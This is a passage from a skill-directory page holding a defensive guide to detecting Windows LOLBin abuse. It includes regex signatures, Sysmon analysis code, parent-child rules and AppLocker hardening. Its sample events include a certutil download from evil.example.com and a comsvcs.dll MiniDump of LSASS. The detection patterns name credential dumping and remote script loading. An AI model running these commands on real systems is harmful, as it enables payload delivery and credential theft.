\"suspicious_args\": [\n            r\"https?:\u002F\u002F\",\n            r\"vbscript:\",\n            r\"javascript:\",\n            r\"about:\",\n        ],\n        \"mitre\": \"T1218.005\",\n        \"severity\": \"high\"\n    },\n    \"rundll32.exe\": {\n        \"suspicious_args\": [\n            r\"javascript:\",\n            r\"shell32\\.dll.*ShellExec_RunDLL\",\n            r\"\\\\\\\\.*\\\\.*\\.dll\",  # UNC path DLL loading\n            r\"comsvcs\\.dll.*MiniDump\",  # LSASS dump via comsvcs\n        ],\n        \"mitre\": \"T1218.011\",\n        \"severity\": \"critical\"\n    },\n    \"regsvr32.exe\": {\n        \"suspicious_args\": [\n            r\"\u002Fs\\s+\u002Fn\\s+\u002Fu\\s+\u002Fi:\",\n            r\"scrobj\\.dll\",\n            r\"https?:\u002F\u002F\",\n        ],\n        \"mitre\": \"T1218.010\",\n        \"severity\": \"critical\"\n    },\n    \"bitsadmin.exe\": {\n        \"suspicious_args\": [\n            r\"\u002Ftransfer\\s+.*https?:\u002F\u002F\",\n            r\"\u002Fcreate\\s+.*\\\u002Faddfile\\s+.*https?:\u002F\u002F\",\n            r\"\u002FSetNotifyCmdLine\",\n        ],\n        \"mitre\": \"T1197\",\n        \"severity\": \"high\"\n    },\n    \"wmic.exe\": {\n        \"suspicious_args\": [\n            r\"process\\s+call\\s+create\",\n            r\"\u002Fnode:\",\n            r\"os\\s+get\\s+\u002Fformat:.*https?:\u002F\u002F\",\n            r\"xsl.*https?:\u002F\u002F\",\n        ],\n        \"mitre\": \"T1047\",\n        \"severity\": \"high\"\n    },\n    \"msbuild.exe\": {\n        \"suspicious_args\": [\n            r\"\\.xml\\b\",\n            r\"\\.csproj\\b\",\n            r\"\\\\temp\\\\\",\n            r\"\\\\appdata\\\\\",\n        ],\n        \"mitre\": \"T1127.001\",\n        \"severity\": \"high\"\n    },\n    \"mavinject.exe\": {\n        \"suspicious_args\": [\n            r\"\u002FINJECTRUNNING\\s+\\d+\",\n        ],\n        \"mitre\": \"T1218.013\",\n        \"severity\": \"critical\"\n    },\n}\n\ndef analyze_sysmon_events(events):\n    \"\"\"Analyze Sysmon process creation events for LOLBin abuse.\"\"\"\n    alerts = []\n\n    for event in events:\n        image = event.get(\"Image\", \"\").lower()\n        cmdline = event.get(\"CommandLine\", \"\")\n        parent = event.get(\"ParentImage\", \"\")\n\n        # Check if the process is a known LOLBin\n        for lolbin, config in LOLBIN_SIGNATURES.items():\n            if image.endswith(lolbin.lower()):\n                for pattern in config[\"suspicious_args\"]:\n                    if re.search(pattern, cmdline, re.IGNORECASE):\n                        alert = {\n                            \"timestamp\": event.get(\"UtcTime\", \"\"),\n                            \"hostname\": event.get(\"Computer\", \"\"),\n                            \"lolbin\": lolbin,\n                            \"command_line\": cmdline,\n                            \"parent_process\": parent,\n                            \"user\": event.get(\"User\", \"\"),\n                            \"process_id\": event.get(\"ProcessId\", \"\"),\n                            \"parent_pid\": event.get(\"ParentProcessId\", \"\"),\n                            \"mitre_technique\": config[\"mitre\"],\n                            \"severity\": config[\"severity\"],\n                            \"matched_pattern\": pattern,\n                        }\n                        alerts.append(alert)\n                        break\n    return alerts\n\n# Example usage with parsed Sysmon events\nsample_events = [\n    {\n        \"UtcTime\": \"2026-01-20 14:32:15.000\",\n        \"Computer\": \"WORKSTATION-01\",\n        \"Image\": \"C:\\\\Windows\\\\System32\\\\certutil.exe\",\n        \"CommandLine\": \"certutil.exe -urlcache -f http:\u002F\u002Fevil.example.com\u002Fpayload.exe C:\\\\temp\\\\update.exe\",\n        \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n        \"User\": \"CORP\\\\jsmith\",\n        \"ProcessId\": \"4532\",\n        \"ParentProcessId\": \"2108\",\n    },\n    {\n        \"UtcTime\": \"2026-01-20 14:33:01.000\",\n        \"Computer\": \"WORKSTATION-01\",\n        \"Image\": \"C:\\\\Windows\\\\System32\\\\rundll32.exe\",\n        \"CommandLine\": \"rundll32.exe comsvcs.dll, MiniDump 624 C:\\\\temp\\\\dump.bin full\",\n        \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n        \"User\": \"CORP\\\\jsmith\",\n        \"ProcessId\": \"5128\",\n        \"ParentProcessId\": \"2108\",\n    },\n]\n\nalerts = analyze_sysmon_events(sample_events)\nfor alert in alerts:\n    print(f\"[{alert['severity'].upper()}] {alert['lolbin']} on {alert['hostname']}\")\n    print(f\"  MITRE: {alert['mitre_technique']}\")\n    print(f\"  Command: {alert['command_line'][:120]}\")\n    print(f\"  Parent: {alert['parent_process']}\")\n    print(f\"  User: {alert['user']}\")\n    print()\n```\n\n### Step 4: Detect LOLBin Network Connections\n\nLOLBins making outbound network connections is a strong indicator of malicious use:\n\n```python\ndef detect_lolbin_network_activity(network_events, process_events):\n    \"\"\"Correlate Sysmon network events (ID 3) with process creation (ID 1)\n    to find LOLBins making outbound connections.\"\"\"\n\n    # LOLBins that should rarely make outbound connections\n    NETWORK_SUSPICIOUS = {\n        \"certutil.exe\", \"mshta.exe\", \"rundll32.exe\", \"regsvr32.exe\",\n        \"msbuild.exe\", \"installutil.exe\", \"bitsadmin.exe\", \"esentutl.exe\",\n        \"expand.exe\", \"replace.exe\", \"cmstp.exe\", \"presentationhost.exe\",\n    }\n\n    alerts = []\n    for event in network_events:\n        image = event.get(\"Image\", \"\").lower()\n        binary_name = image.split(\"\\\\\")[-1] if \"\\\\\" in image else image\n\n        if binary_name in NETWORK_SUSPICIOUS:\n            dest_ip = event.get(\"DestinationIp\", \"\")\n            dest_port = event.get(\"DestinationPort\", \"\")\n\n            # Skip localhost and internal DNS\n            if dest_ip.startswith(\"127.\") or dest_ip == \"::1\":\n                continue\n\n            alert = {\n                \"type\": \"lolbin_network_connection\",\n                \"binary\": binary_name,\n                \"destination_ip\": dest_ip,\n                \"destination_port\": dest_port,\n                \"destination_hostname\": event.get(\"DestinationHostname\", \"\"),\n                \"source_ip\": event.get(\"SourceIp\", \"\"),\n                \"user\": event.get(\"User\", \"\"),\n                \"timestamp\": event.get(\"UtcTime\", \"\"),\n                \"severity\": \"critical\",\n            }\n            alerts.append(alert)\n            print(f\"[CRITICAL] {binary_name} connected to \"\n                  f\"{dest_ip}:{dest_port} ({event.get('DestinationHostname', 'N\u002FA')})\")\n\n    return alerts\n```\n\n### Step 5: Monitor Anomalous Parent-Child Process Relationships\n\n```python\n# Suspicious parent-child relationships indicating LOLBin abuse\nSUSPICIOUS_PARENT_CHILD = [\n    # Office apps spawning LOLBins (macro execution)\n    {\"parent\": [\"winword.exe\", \"excel.exe\", \"powerpnt.exe\", \"outlook.exe\"],\n     \"child\": [\"cmd.exe\", \"powershell.exe\", \"pwsh.exe\", \"mshta.exe\",\n               \"wscript.exe\", \"cscript.exe\", \"certutil.exe\"],\n     \"severity\": \"critical\", \"mitre\": \"T1204.002\"},\n\n    # Explorer spawning script interpreters directly\n    {\"parent\": [\"explorer.exe\"],\n     \"child\": [\"mshta.exe\", \"regsvr32.exe\", \"msbuild.exe\"],\n     \"severity\": \"high\", \"mitre\": \"T1218\"},\n\n    # WMI provider spawning processes (lateral movement)\n    {\"parent\": [\"wmiprvse.exe\"],\n     \"child\": [\"cmd.exe\", \"powershell.exe\", \"mshta.exe\"],\n     \"severity\": \"critical\", \"mitre\": \"T1047\"},\n\n    # Services spawning unusual children\n    {\"parent\": [\"services.exe\"],\n     \"child\": [\"cmd.exe\", \"powershell.exe\", \"mshta.exe\", \"rundll32.exe\"],\n     \"severity\": \"high\", \"mitre\": \"T1543.003\"},\n]\n\ndef check_parent_child_anomaly(event):\n    \"\"\"Check if a process creation event has a suspicious parent-child pair.\"\"\"\n    parent = event.get(\"ParentImage\", \"\").split(\"\\\\\")[-1].lower()\n    child = event.get(\"Image\", \"\").split(\"\\\\\")[-1].lower()\n\n    for rule in SUSPICIOUS_PARENT_CHILD:\n        if parent in rule[\"parent\"] and child in rule[\"child\"]:\n            return {\n                \"alert_type\": \"suspicious_parent_child\",\n                \"parent\": parent,\n                \"child\": child,\n                \"command_line\": event.get(\"CommandLine\", \"\"),\n                \"mitre\": rule[\"mitre\"],\n                \"severity\": rule[\"severity\"],\n                \"hostname\": event.get(\"Computer\", \"\"),\n                \"user\": event.get(\"User\", \"\"),\n                \"timestamp\": event.get(\"UtcTime\", \"\"),\n            }\n    return None\n```\n\n### Step 6: Implement AppLocker or WDAC Hardening\n\nRestrict unnecessary LOLBin execution with application control policies:\n\n```powershell\n# Query current AppLocker policy\nGet-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections\n\n# Create AppLocker rules to restrict certutil to admin-only\n$rule = New-AppLockerPolicy -RuleType Publisher -RuleNamePrefix \"Block\" `\n    -FileInformation \"C:\\Windows\\System32\\certutil.exe\" `\n    -User \"S-1-1-0\" -Deny\n\n# Export current policy for backup before applying changes\nGet-AppLockerPolicy -Effective -Xml > AppLocker_Backup.xml\n\n# Block specific LOLBins for standard users via GPO script\n$lolbins_to_restrict = @(\n    \"mshta.exe\", \"cmstp.exe\", \"msbuild.exe\", \"installutil.exe\",\n    \"regsvr32.exe\", \"presentationhost.exe\", \"ie4uinit.exe\",\n    \"mavinject.exe\", \"xwizard.exe\"\n)\n\nforeach ($binary in $lolbins_to_restrict) {\n    $path = \"C:\\Windows\\System32\\$binary\"\n    if (Test-Path $path) {\n        Write-Output \"Restricting: $path\"\n        # Apply WDAC deny rule via PowerShell\n        # In production, use Group Policy or Intune WDAC policies\n    }\n}\n```\n\n## Verification\n\n- Confirm Sysmon is logging Event ID 1 (Process Creation) with full command-line arguments for all listed LOLBins\n- Validate Sigma rules convert correctly to your SIEM query language using `sigmac` or `sigma-cli`\n- Test detection by executing benign LOLBin commands in a lab environment and confirming alerts fire\n- Verify parent-child anomaly detection catches Office-to-LOLBin chains (e.g., `winword.exe` spawning `certutil.exe`)\n- Confirm LOLBin network connection detection triggers when `certutil.exe` or `mshta.exe` reach out to external IPs\n- Check that AppLocker or WDAC policies do not break legitimate administrative workflows before deploying to production\n- Validate false positive rates by running detection rules against 7 days of baseline telemetry from a clean environment\n- Cross-reference detections against the LOLBAS project database at https:\u002F\u002Flolbas-project.github.io\u002F for completeness\n",{"name":5,"tags":25,"author":30,"domain":31,"license":15,"version":32,"subdomain":33,"description":34},[26,27,28,29],"lolbins","lotl","fileless-attacks","process-monitoring","mahipal","cybersecurity","1.0","threat-detection","Detect abuse of legitimate Windows binaries (LOLBins) used for living off the land attacks. Monitors process creation, command-line arguments, and parent-child relationships to identify suspicious LOLBin execution patterns.\n","main","c2b1fdccc779e99ac814e55fb69ca8d71215dd0f","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection","https:\u002F\u002Fgithub.com\u002FSamuelChien","http:\u002F\u002Fsamuelchien.com\u002F","2026-05-26 08:27:14",{"source":8,"skillName":5,"commands":42,"prompt":52,"zipAvailable":53},[43,46,49],{"tool":44,"command":45},"npx","npx skills add SamuelChien\u002Fmega-skills-collection --skill detecting-living-off-the-land-attacks",{"tool":47,"command":48},"bunx","bunx skills add SamuelChien\u002Fmega-skills-collection --skill detecting-living-off-the-land-attacks",{"tool":50,"command":51},"pnpm","pnpm dlx skills add SamuelChien\u002Fmega-skills-collection --skill detecting-living-off-the-land-attacks","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fdetecting-living-off-the-land-attacks\u002FSKILL.md",true,[55,59,65],{"path":56,"resourceType":56,"resourceTypeDesc":57,"sizeBytes":58,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":60,"resourceType":61,"resourceTypeDesc":62,"sizeBytes":63,"sourceHtmlUrl":64},"references\u002Fapi-reference.md","REFERENCE","参考文档",3215,"https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fdetecting-living-off-the-land-attacks\u002Freferences\u002Fapi-reference.md",{"path":66,"resourceType":67,"resourceTypeDesc":68,"sizeBytes":69,"sourceHtmlUrl":70},"scripts\u002Fagent.py","SCRIPT","脚本",18993,"https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fdetecting-living-off-the-land-attacks\u002Fscripts\u002Fagent.py",[72,80,87,94,101,108],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":76,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":20},"01M76R4WZQZAXGGXMQCA0FZ716","zustand-store-ts","Create Zustand stores with TypeScript, subscribeWithSelector middleware, and proper state\u002Faction separation. Use when building React state management, creating global stores, or implementing reactive state patterns with Zustand.","MIT","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzustand-store-ts\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":76,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":20},"01M76R4T9KENDH7FENGZQHBW4G","zustand-store-creator","Zustand Store Creator - Auto-activating skill for Frontend Development.\nTriggers on: zustand store creator, zustand store creator\nPart of the Frontend Development skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzustand-store-creator\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":76,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":20},"01M76R3YWN84B7SANJ52X799ZE","zero-trust-config-helper","Zero Trust Config Helper - Auto-activating skill for Security Advanced.\nTriggers on: zero trust config helper, zero trust config helper\nPart of the Security Advanced skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzero-trust-config-helper\u002FSKILL.md",[],[],{"skillNo":95,"name":96,"nameZh":6,"description":97,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":76,"licenseFileUrl":6,"sourceHtmlUrl":98,"categories":99,"keywords":100,"publishedAt":20},"01M76R3HNSV2AEYSKHM915GJ58","zapier-integration-helper","Zapier Integration Helper - Auto-activating skill for Business Automation.\nTriggers on: zapier integration helper, zapier integration helper\nPart of the Business Automation skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzapier-integration-helper\u002FSKILL.md",[],[],{"skillNo":102,"name":103,"nameZh":6,"description":104,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":105,"categories":106,"keywords":107,"publishedAt":20},"01M76R3DJSKAT4FA7DV4BF3GCE","zai-cli","Execute z.AI CLI providing vision, search, reader, and GitHub exploration via CLI and MCP.\nUse when user needs image\u002Fvideo analysis, OCR, UI-to-code conversion, error diagnosis,\nreal-time web search, web page to markdown extraction, or GitHub code exploration.\nTrigger with phrases like \"analyze this image\", \"search the web for\", \"read this page\",\n\"explore this repo\", or \"use zai\". Requires Z_AI_API_KEY.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzai-cli\u002FSKILL.md",[],[],{"skillNo":109,"name":110,"nameZh":6,"description":111,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":76,"licenseFileUrl":6,"sourceHtmlUrl":112,"categories":113,"keywords":114,"publishedAt":20},"01M76R2KAM699XE9AJVAWE4H2E","yt-research","Research competitor YouTube channels, niches, and trending topics for your content strategy.\nUse this skill whenever the user says \"research channels\", \"analyze competitors\", \"find trending topics\",\n\"niche analysis\", \"competitive research\", \"what are other creators doing\", \"scrape YouTube channels\",\nor wants to understand the competitive landscape for a specific tool or topic area. Use when working with yt research. Trigger with 'yt', 'research'.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fyt-research\u002FSKILL.md",[],[]]